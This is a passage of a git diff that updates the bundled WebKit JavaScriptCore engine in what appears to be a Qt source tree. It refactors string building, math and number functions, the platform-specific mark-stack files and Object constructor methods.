@@ -186,7 +187,7 @@ template <LiteralParser::ParserMode mode> inline LiteralParser::TokenType Litera
                         if (!isASCIIHexDigit(m_ptr[i]))
                             return TokError;
                     }
-                    token.stringToken.append(JSC::Lexer::convertUnicode(m_ptr[1], m_ptr[2], m_ptr[3], m_ptr[4]));
+                    builder.append(JSC::Lexer::convertUnicode(m_ptr[1], m_ptr[2], m_ptr[3], m_ptr[4]));
                     m_ptr += 5;
                     break;
 
@@ -199,6 +200,7 @@ template <LiteralParser::ParserMode mode> inline LiteralParser::TokenType Litera
     if (m_ptr >= m_end || *m_ptr != '"')
         return TokError;
 
+    token.stringToken = builder.build();
     token.type = TokString;
     token.end = ++m_ptr;
     return TokString;
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Lookup.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/Lookup.cpp
index 8359ff7..4e9e086 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Lookup.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Lookup.cpp
@@ -34,7 +34,7 @@ void HashTable::createTable(JSGlobalData* globalData) const
         entries[i].setKey(0);
     for (int i = 0; values[i].key; ++i) {
         UString::Rep* identifier = Identifier::add(globalData, values[i].key).releaseRef();
-        int hashIndex = identifier->computedHash() & compactHashSizeMask;
+        int hashIndex = identifier->existingHash() & compactHashSizeMask;
         HashEntry* entry = &entries[hashIndex];
 
         if (entry->key()) {
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Lookup.h b/src/3rdparty/webkit/JavaScriptCore/runtime/Lookup.h
index 4d70689..995aeee 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Lookup.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Lookup.h
@@ -144,7 +144,7 @@ namespace JSC {
         {
             ASSERT(table);
 
-            const HashEntry* entry = &table[identifier.ustring().rep()->computedHash() & compactHashSizeMask];
+            const HashEntry* entry = &table[identifier.ustring().rep()->existingHash() & compactHashSizeMask];
 
             if (!entry->key())
                 return 0;
@@ -181,7 +181,7 @@ namespace JSC {
         if (entry->attributes() & Function)
             setUpStaticFunctionSlot(exec, entry, thisObj, propertyName, slot);
         else
-            slot.setCustom(thisObj, entry->propertyGetter());
+            slot.setCacheableCustom(thisObj, entry->propertyGetter());
 
         return true;
     }
@@ -258,7 +258,7 @@ namespace JSC {
 
         ASSERT(!(entry->attributes() & Function));
 
-        slot.setCustom(thisObj, entry->propertyGetter());
+        slot.setCacheableCustom(thisObj, entry->propertyGetter());
         return true;
     }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStack.h b/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStack.h
index a114ae0..c551bac 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStack.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStack.h
@@ -153,7 +153,7 @@ namespace JSC {
                 ASSERT(0 == (size % MarkStack::pageSize()));
                 if (size == m_allocated)
                     return;
-#if PLATFORM(WIN_OS) || PLATFORM(SYMBIAN)
+#if OS(WINDOWS) || OS(SYMBIAN) || PLATFORM(BREWMP)
                 // We cannot release a part of a region with VirtualFree.  To get around this,
                 // we'll release the entire region and reallocate the size that we want.
                 releaseStack(m_data, m_allocated);
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackNone.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackNone.cpp
new file mode 100644
index 0000000..b1ff48b
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackNone.cpp
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2009 Company 100, Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+
+#include "MarkStack.h"
+
+#include "FastMalloc.h"
+
+namespace JSC {
+
+void MarkStack::initializePagesize()
+{
+    MarkStack::s_pageSize = 4096;
+}
+
+void* MarkStack::allocateStack(size_t size)
+{
+    return fastMalloc(size);
+}
+
+void MarkStack::releaseStack(void* addr, size_t)
+{
+    return fastFree(addr);
+}
+
+}
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackPosix.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackPosix.cpp
index 8e78ff3..c28bc0d 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackPosix.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackPosix.cpp
@@ -24,10 +24,10 @@
  */
 
 #include "config.h"
-
-
 #include "MarkStack.h"
 
+#if OS(UNIX) && !OS(SYMBIAN)
+
 #include <unistd.h>
 #include <sys/mman.h>
 
@@ -48,3 +48,5 @@ void MarkStack::releaseStack(void* addr, size_t size)
 }
 
 }
+
+#endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackSymbian.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackSymbian.cpp
index a0ce8f6..bda14ac 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackSymbian.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackSymbian.cpp
@@ -20,6 +20,8 @@
 #include "config.h"
 #include "MarkStack.h"
 
+#if OS(SYMBIAN)
+
 #include <e32hal.h>
 
 namespace JSC {
@@ -42,3 +44,5 @@ void MarkStack::releaseStack(void* addr, size_t size)
 }
 
 }
+
+#endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackWin.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackWin.cpp
index 1fdd06a..a171c78 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackWin.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/MarkStackWin.cpp
@@ -24,10 +24,10 @@
  */
 
 #include "config.h"
-
-
 #include "MarkStack.h"
 
+#if OS(WINDOWS)
+
 #include "windows.h"
 
 namespace JSC {
@@ -51,3 +51,5 @@ void MarkStack::releaseStack(void* addr, size_t)
 }
 
 }
+
+#endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/MathObject.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/MathObject.cpp
index e8b7b97..8ef97e5 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/MathObject.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/MathObject.cpp
@@ -96,7 +96,6 @@ MathObject::MathObject(ExecState* exec, NonNullPassRefPtr<Structure> structure)
     putDirectWithoutTransition(Identifier(exec, "PI"), jsNumber(exec, piDouble), DontDelete | DontEnum | ReadOnly);
     putDirectWithoutTransition(Identifier(exec, "SQRT1_2"), jsNumber(exec, sqrt(0.5)), DontDelete | DontEnum | ReadOnly);
     putDirectWithoutTransition(Identifier(exec, "SQRT2"), jsNumber(exec, sqrt(2.0)), DontDelete | DontEnum | ReadOnly);
-    WTF::initializeWeakRandomNumberGenerator();
 }
 
 // ECMA 15.8
@@ -120,22 +119,22 @@ JSValue JSC_HOST_CALL mathProtoFuncAbs(ExecState* exec, JSObject*, JSValue, cons
 
 JSValue JSC_HOST_CALL mathProtoFuncACos(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
-    return jsNumber(exec, acos(args.at(0).toNumber(exec)));
+    return jsDoubleNumber(exec, acos(args.at(0).toNumber(exec)));
 }
 
 JSValue JSC_HOST_CALL mathProtoFuncASin(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
-    return jsNumber(exec, asin(args.at(0).toNumber(exec)));
+    return jsDoubleNumber(exec, asin(args.at(0).toNumber(exec)));
 }
 
 JSValue JSC_HOST_CALL mathProtoFuncATan(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
-    return jsNumber(exec, atan(args.at(0).toNumber(exec)));
+    return jsDoubleNumber(exec, atan(args.at(0).toNumber(exec)));
 }
 
 JSValue JSC_HOST_CALL mathProtoFuncATan2(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
-    return jsNumber(exec, atan2(args.at(0).toNumber(exec), args.at(1).toNumber(exec)));
+    return jsDoubleNumber(exec, atan2(args.at(0).toNumber(exec), args.at(1).toNumber(exec)));
 }
 
 JSValue JSC_HOST_CALL mathProtoFuncCeil(ExecState* exec, JSObject*, JSValue, const ArgList& args)
@@ -145,12 +144,12 @@ JSValue JSC_HOST_CALL mathProtoFuncCeil(ExecState* exec, JSObject*, JSValue, con
 
 JSValue JSC_HOST_CALL mathProtoFuncCos(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
-    return jsNumber(exec, cos(args.at(0).toNumber(exec)));
+    return jsDoubleNumber(exec, cos(args.at(0).toNumber(exec)));
 }
 
 JSValue JSC_HOST_CALL mathProtoFuncExp(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
-    return jsNumber(exec, exp(args.at(0).toNumber(exec)));
+    return jsDoubleNumber(exec, exp(args.at(0).toNumber(exec)));
 }
 
 JSValue JSC_HOST_CALL mathProtoFuncFloor(ExecState* exec, JSObject*, JSValue, const ArgList& args)
@@ -160,7 +159,7 @@ JSValue JSC_HOST_CALL mathProtoFuncFloor(ExecState* exec, JSObject*, JSValue, co
 
 JSValue JSC_HOST_CALL mathProtoFuncLog(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
-    return jsNumber(exec, log(args.at(0).toNumber(exec)));
+    return jsDoubleNumber(exec, log(args.at(0).toNumber(exec)));
 }
 
 JSValue JSC_HOST_CALL mathProtoFuncMax(ExecState* exec, JSObject*, JSValue, const ArgList& args)
@@ -211,30 +210,29 @@ JSValue JSC_HOST_CALL mathProtoFuncPow(ExecState* exec, JSObject*, JSValue, cons
 
 JSValue JSC_HOST_CALL mathProtoFuncRandom(ExecState* exec, JSObject*, JSValue, const ArgList&)
 {
-    return jsNumber(exec, WTF::weakRandomNumber());
+    return jsDoubleNumber(exec, exec->globalData().weakRandom.get());
 }
 
 JSValue JSC_HOST_CALL mathProtoFuncRound(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
     double arg = args.at(0).toNumber(exec);
-    if (signbit(arg) && arg >= -0.5)
-         return jsNumber(exec, -0.0);
-    return jsNumber(exec, floor(arg + 0.5));
+    double integer = ceil(arg);
+    return jsNumber(exec, integer - (integer - arg > 0.5));
 }
 
 JSValue JSC_HOST_CALL mathProtoFuncSin(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
-    return jsNumber(exec, sin(args.at(0).toNumber(exec)));
+    return jsDoubleNumber(exec, sin(args.at(0).toNumber(exec)));
 }
 
 JSValue JSC_HOST_CALL mathProtoFuncSqrt(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
-    return jsNumber(exec, sqrt(args.at(0).toNumber(exec)));
+    return jsDoubleNumber(exec, sqrt(args.at(0).toNumber(exec)));
 }
 
 JSValue JSC_HOST_CALL mathProtoFuncTan(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
-    return jsNumber(exec, tan(args.at(0).toNumber(exec)));
+    return jsDoubleNumber(exec, tan(args.at(0).toNumber(exec)));
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/MathObject.h b/src/3rdparty/webkit/JavaScriptCore/runtime/MathObject.h
index 7f474b8..a9f7031 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/MathObject.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/MathObject.h
@@ -37,7 +37,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
     protected:
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/NativeErrorConstructor.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/NativeErrorConstructor.cpp
index c655fae..403fc7e 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/NativeErrorConstructor.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/NativeErrorConstructor.cpp
@@ -33,7 +33,7 @@ ASSERT_CLASS_FITS_IN_CELL(NativeErrorConstructor);
 const ClassInfo NativeErrorConstructor::info = { "Function", &InternalFunction::info, 0, 0 };
 
 NativeErrorConstructor::NativeErrorConstructor(ExecState* exec, NonNullPassRefPtr<Structure> structure, NativeErrorPrototype* nativeErrorPrototype)
-    : InternalFunction(&exec->globalData(), structure, Identifier(exec, nativeErrorPrototype->getDirect(exec->propertyNames().name).getString()))
+    : InternalFunction(&exec->globalData(), structure, Identifier(exec, nativeErrorPrototype->getDirect(exec->propertyNames().name).getString(exec)))
     , m_errorStructure(ErrorInstance::createStructure(nativeErrorPrototype))
 {
     putDirect(exec->propertyNames().length, jsNumber(exec, 1), DontDelete | ReadOnly | DontEnum); // ECMA 15.11.7.5
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/NumberConstructor.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/NumberConstructor.cpp
index cc6c51d..cf549ae 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/NumberConstructor.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/NumberConstructor.cpp
@@ -29,11 +29,11 @@ namespace JSC {
 
 ASSERT_CLASS_FITS_IN_CELL(NumberConstructor);
 
-static JSValue numberConstructorNaNValue(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue numberConstructorNegInfinity(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue numberConstructorPosInfinity(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue numberConstructorMaxValue(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue numberConstructorMinValue(ExecState*, const Identifier&, const PropertySlot&);
+static JSValue numberConstructorNaNValue(ExecState*, JSValue, const Identifier&);
+static JSValue numberConstructorNegInfinity(ExecState*, JSValue, const Identifier&);
+static JSValue numberConstructorPosInfinity(ExecState*, JSValue, const Identifier&);
+static JSValue numberConstructorMaxValue(ExecState*, JSValue, const Identifier&);
+static JSValue numberConstructorMinValue(ExecState*, JSValue, const Identifier&);
 
 } // namespace JSC
 
@@ -73,27 +73,27 @@ bool NumberConstructor::getOwnPropertyDescriptor(ExecState* exec, const Identifi
     return getStaticValueDescriptor<NumberConstructor, InternalFunction>(exec, ExecState::numberTable(exec), this, propertyName, descriptor);
 }
 
-static JSValue numberConstructorNaNValue(ExecState* exec, const Identifier&, const PropertySlot&)
+static JSValue numberConstructorNaNValue(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNaN(exec);
 }
 
-static JSValue numberConstructorNegInfinity(ExecState* exec, const Identifier&, const PropertySlot&)
+static JSValue numberConstructorNegInfinity(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, -Inf);
 }
 
-static JSValue numberConstructorPosInfinity(ExecState* exec, const Identifier&, const PropertySlot&)
+static JSValue numberConstructorPosInfinity(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, Inf);
 }
 
-static JSValue numberConstructorMaxValue(ExecState* exec, const Identifier&, const PropertySlot&)
+static JSValue numberConstructorMaxValue(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, 1.7976931348623157E+308);
 }
 
-static JSValue numberConstructorMinValue(ExecState* exec, const Identifier&, const PropertySlot&)
+static JSValue numberConstructorMinValue(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, 5E-324);
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/NumberConstructor.h b/src/3rdparty/webkit/JavaScriptCore/runtime/NumberConstructor.h
index cf19b6f..723c4b2 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/NumberConstructor.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/NumberConstructor.h
@@ -39,7 +39,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue proto) 
         { 
-            return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+            return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
         }
 
         enum { NaNValue, NegInfinity, PosInfinity, MaxValue, MinValue };
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/NumberObject.h b/src/3rdparty/webkit/JavaScriptCore/runtime/NumberObject.h
index 8223a90..6c18cdd 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/NumberObject.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/NumberObject.h
@@ -33,7 +33,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
     protected:
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/NumberPrototype.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/NumberPrototype.cpp
index df31404..5680eb1 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/NumberPrototype.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/NumberPrototype.cpp
@@ -25,9 +25,11 @@
 #include "Error.h"
 #include "JSFunction.h"
 #include "JSString.h"
+#include "JSStringBuilder.h"
+#include "Operations.h"
 #include "PrototypeFunction.h"
+#include "StringBuilder.h"
 #include "dtoa.h"
-#include "Operations.h"
 #include <wtf/Assertions.h>
 #include <wtf/MathExtras.h>
 #include <wtf/Vector.h>
@@ -73,11 +75,12 @@ static UString integerPartNoExp(double d)
     bool resultIsInfOrNan = (decimalPoint == 9999);
     size_t length = strlen(result);
 
-    UString str = sign ? "-" : "";
+    StringBuilder builder;
+    builder.append(sign ? "-" : "");
     if (resultIsInfOrNan)
-        str += result;
+        builder.append((const char*)result);
     else if (decimalPoint <= 0)
-        str += "0";
+        builder.append("0");
     else {
         Vector<char, 1024> buf(decimalPoint + 1);
 
@@ -89,10 +92,10 @@ static UString integerPartNoExp(double d)
             strncpy(buf.data(), result, decimalPoint);
         buf[decimalPoint] = '\0';
 
-        str.append(buf.data());
+        builder.append((const char*)(buf.data()));
     }
 
-    return str;
+    return builder.build();
 }
 
 static UString charSequence(char c, int count)
@@ -236,13 +239,16 @@ JSValue JSC_HOST_CALL numberProtoFuncToFixed(ExecState* exec, JSObject*, JSValue
 
     UString s;
     if (x < 0) {
-        s.append('-');
+        s = "-";
         x = -x;
-    } else if (x == -0.0)
-        x = 0;
+    } else {
+        s = "";
+        if (x == -0.0)
+            x = 0;
+    }
 
     if (x >= pow(10.0, 21.0))
-        return jsString(exec, s + UString::from(x));
+        return jsString(exec, makeString(s, UString::from(x)));
 
     const double tenToTheF = pow(10.0, f);
     double n = floor(x * tenToTheF);
@@ -253,17 +259,19 @@ JSValue JSC_HOST_CALL numberProtoFuncToFixed(ExecState* exec, JSObject*, JSValue
 
     int k = m.size();
     if (k <= f) {
-        UString z;
+        StringBuilder z;
         for (int i = 0; i < f + 1 - k; i++)
             z.append('0');
-        m = z + m;
+        z.append(m);
+        m = z.build();
         k = f + 1;
-        ASSERT(k == m.size());
+        ASSERT(k == static_cast<int>(m.size()));
     }
     int kMinusf = k - f;
-    if (kMinusf < m.size())
-        return jsString(exec, s + m.substr(0, kMinusf) + "." + m.substr(kMinusf));
-    return jsString(exec, s + m.substr(0, kMinusf));
+
+    if (kMinusf < static_cast<int>(m.size()))
+        return jsString(exec, makeString(s, m.substr(0, kMinusf), ".", m.substr(kMinusf)));
+    return jsString(exec, makeString(s, m.substr(0, kMinusf)));
 }
 
 static void fractionalPartToString(char* buf, int& i, const char* result, int resultLength, int fractionalDigits)
@@ -391,7 +399,8 @@ JSValue JSC_HOST_CALL numberProtoFuncToPrecision(ExecState* exec, JSObject*, JSV
     if (x < 0) {
         s = "-";
         x = -x;
-    }
+    } else
+        s = "";
 
     if (!(doublePrecision >= 1 && doublePrecision <= 21)) // true for NaN
         return throwError(exec, RangeError, "toPrecision() argument must be between 1 and 21");
@@ -422,10 +431,10 @@ JSValue JSC_HOST_CALL numberProtoFuncToPrecision(ExecState* exec, JSObject*, JSV
         m = integerPartNoExp(n);
         if (e < -6 || e >= precision) {
             if (m.size() > 1)
-                m = m.substr(0, 1) + "." + m.substr(1);
+                m = makeString(m.substr(0, 1), ".", m.substr(1));
             if (e >= 0)
-                return jsNontrivialString(exec, s + m + "e+" + UString::from(e));
-            return jsNontrivialString(exec, s + m + "e-" + UString::from(-e));
+                return jsMakeNontrivialString(exec, s, m, "e+", UString::from(e));
+            return jsMakeNontrivialString(exec, s, m, "e-", UString::from(-e));
         }
     } else {
         m = charSequence('0', precision);
@@ -433,13 +442,13 @@ JSValue JSC_HOST_CALL numberProtoFuncToPrecision(ExecState* exec, JSObject*, JSV
     }
 
     if (e == precision - 1)
-        return jsString(exec, s + m);
+        return jsString(exec, makeString(s, m));
     if (e >= 0) {
-        if (e + 1 < m.size())
-            return jsString(exec, s + m.substr(0, e + 1) + "." + m.substr(e + 1));
-        return jsString(exec, s + m);
+        if (e + 1 < static_cast<int>(m.size()))
+            return jsString(exec, makeString(s, m.substr(0, e + 1), ".", m.substr(e + 1)));
+        return jsString(exec, makeString(s, m));
     }
-    return jsNontrivialString(exec, s + "0." + charSequence('0', -(e + 1)) + m);
+    return jsMakeNontrivialString(exec, s, "0.", charSequence('0', -(e + 1)), m);
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/NumericStrings.h b/src/3rdparty/webkit/JavaScriptCore/runtime/NumericStrings.h
index c0696a4..89235af 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/NumericStrings.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/NumericStrings.h
@@ -45,6 +45,8 @@ namespace JSC {
 
         UString add(int i)
         {
+            if (static_cast<unsigned>(i) < cacheSize)
+                return lookupSmallString(static_cast<unsigned>(i));
             CacheEntry<int>& entry = lookup(i);
             if (i == entry.key && !entry.value.isNull())
                 return entry.value;
@@ -53,6 +55,17 @@ namespace JSC {
             return entry.value;
         }
 
+        UString add(unsigned i)
+        {
+            if (i < cacheSize)
+                return lookupSmallString(static_cast<unsigned>(i));
+            CacheEntry<unsigned>& entry = lookup(i);
+            if (i == entry.key && !entry.value.isNull())
+                return entry.value;
+            entry.key = i;
+            entry.value = UString::from(i);
+            return entry.value;
+        }
     private:
         static const size_t cacheSize = 64;
 
@@ -64,9 +77,19 @@ namespace JSC {
 
         CacheEntry<double>& lookup(double d) { return doubleCache[WTF::FloatHash<double>::hash(d) & (cacheSize - 1)]; }
         CacheEntry<int>& lookup(int i) { return intCache[WTF::IntHash<int>::hash(i) & (cacheSize - 1)]; }
+        CacheEntry<unsigned>& lookup(unsigned i) { return unsignedCache[WTF::IntHash<unsigned>::hash(i) & (cacheSize - 1)]; }
+        const UString& lookupSmallString(unsigned i)
+        {
+            ASSERT(i < cacheSize);
+            if (smallIntCache[i].isNull())
+                smallIntCache[i] = UString::from(i);
+            return smallIntCache[i];
+        }
 
         CacheEntry<double> doubleCache[cacheSize];
         CacheEntry<int> intCache[cacheSize];
+        CacheEntry<unsigned> unsignedCache[cacheSize];
+        UString smallIntCache[cacheSize];
     };
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/ObjectConstructor.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/ObjectConstructor.cpp
index 837d5a6..0838eb4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/ObjectConstructor.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/ObjectConstructor.cpp
@@ -36,6 +36,7 @@ ASSERT_CLASS_FITS_IN_CELL(ObjectConstructor);
 
 static JSValue JSC_HOST_CALL objectConstructorGetPrototypeOf(ExecState*, JSObject*, JSValue, const ArgList&);
 static JSValue JSC_HOST_CALL objectConstructorGetOwnPropertyDescriptor(ExecState*, JSObject*, JSValue, const ArgList&);
+static JSValue JSC_HOST_CALL objectConstructorGetOwnPropertyNames(ExecState*, JSObject*, JSValue, const ArgList&);
 static JSValue JSC_HOST_CALL objectConstructorKeys(ExecState*, JSObject*, JSValue, const ArgList&);
 static JSValue JSC_HOST_CALL objectConstructorDefineProperty(ExecState*, JSObject*, JSValue, const ArgList&);
 static JSValue JSC_HOST_CALL objectConstructorDefineProperties(ExecState*, JSObject*, JSValue, const ArgList&);
@@ -52,6 +53,7 @@ ObjectConstructor::ObjectConstructor(ExecState* exec, NonNullPassRefPtr<Structur
     
     putDirectFunctionWithoutTransition(exec, new (exec) NativeFunctionWrapper(exec, prototypeFunctionStructure, 1, exec->propertyNames().getPrototypeOf, objectConstructorGetPrototypeOf), DontEnum);
     putDirectFunctionWithoutTransition(exec, new (exec) NativeFunctionWrapper(exec, prototypeFunctionStructure, 2, exec->propertyNames().getOwnPropertyDescriptor, objectConstructorGetOwnPropertyDescriptor), DontEnum);
+    putDirectFunctionWithoutTransition(exec, new (exec) NativeFunctionWrapper(exec, prototypeFunctionStructure, 1, exec->propertyNames().getOwnPropertyNames, objectConstructorGetOwnPropertyNames), DontEnum);
     putDirectFunctionWithoutTransition(exec, new (exec) NativeFunctionWrapper(exec, prototypeFunctionStructure, 1, exec->propertyNames().keys, objectConstructorKeys), DontEnum);
     putDirectFunctionWithoutTransition(exec, new (exec) NativeFunctionWrapper(exec, prototypeFunctionStructure, 3, exec->propertyNames().defineProperty, objectConstructorDefineProperty), DontEnum);
     putDirectFunctionWithoutTransition(exec, new (exec) NativeFunctionWrapper(exec, prototypeFunctionStructure, 2, exec->propertyNames().defineProperties, objectConstructorDefineProperties), DontEnum);
@@ -126,6 +128,20 @@ JSValue JSC_HOST_CALL objectConstructorGetOwnPropertyDescriptor(ExecState* exec,
 }
 
 // FIXME: Use the enumeration cache.
+JSValue JSC_HOST_CALL objectConstructorGetOwnPropertyNames(ExecState* exec, JSObject*, JSValue, const ArgList& args)
+{
+    if (!args.at(0).isObject())
+        return throwError(exec, TypeError, "Requested property names of a value that is not an object.");
+    PropertyNameArray properties(exec);
+    asObject(args.at(0))->getOwnPropertyNames(exec, properties, IncludeDontEnumProperties);
+    JSArray* names = constructEmptyArray(exec);
+    size_t numProperties = properties.size();
+    for (size_t i = 0; i < numProperties; i++)
+        names->push(exec, jsOwnedString(exec, properties[i].ustring()));
+    return names;
+}
+
+// FIXME: Use the enumeration cache.
 JSValue JSC_HOST_CALL objectConstructorKeys(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
     if (!args.at(0).isObject())
@@ -148,14 +164,14 @@ static bool toPropertyDescriptor(ExecState* exec, JSValue in, PropertyDescriptor
     }
     JSObject* description = asObject(in);
 
-    PropertySlot enumerableSlot;
+    PropertySlot enumerableSlot(description);
     if (description->getPropertySlot(exec, exec->propertyNames().enumerable, enumerableSlot)) {
         desc.setEnumerable(enumerableSlot.getValue(exec, exec->propertyNames().enumerable).toBoolean(exec));
         if (exec->hadException())
             return false;
     }
 
-    PropertySlot configurableSlot;
+    PropertySlot configurableSlot(description);
     if (description->getPropertySlot(exec, exec->propertyNames().configurable, configurableSlot)) {
         desc.setConfigurable(configurableSlot.getValue(exec, exec->propertyNames().configurable).toBoolean(exec));
         if (exec->hadException())
@@ -163,21 +179,21 @@ static bool toPropertyDescriptor(ExecState* exec, JSValue in, PropertyDescriptor
     }
 
     JSValue value;
-    PropertySlot valueSlot;
+    PropertySlot valueSlot(description);
     if (description->getPropertySlot(exec, exec->propertyNames().value, valueSlot)) {
         desc.setValue(valueSlot.getValue(exec, exec->propertyNames().value));
         if (exec->hadException())
             return false;
     }
 
-    PropertySlot writableSlot;
+    PropertySlot writableSlot(description);
     if (description->getPropertySlot(exec, exec->propertyNames().writable, writableSlot)) {
         desc.setWritable(writableSlot.getValue(exec, exec->propertyNames().writable).toBoolean(exec));
         if (exec->hadException())
             return false;
     }
 
-    PropertySlot getSlot;
+    PropertySlot getSlot(description);
     if (description->getPropertySlot(exec, exec->propertyNames().get, getSlot)) {
         JSValue get = getSlot.getValue(exec, exec->propertyNames().get);
         if (exec->hadException())
@@ -193,7 +209,7 @@ static bool toPropertyDescriptor(ExecState* exec, JSValue in, PropertyDescriptor
         desc.setGetter(get);
     }
 
-    PropertySlot setSlot;
+    PropertySlot setSlot(description);
     if (description->getPropertySlot(exec, exec->propertyNames().set, setSlot)) {
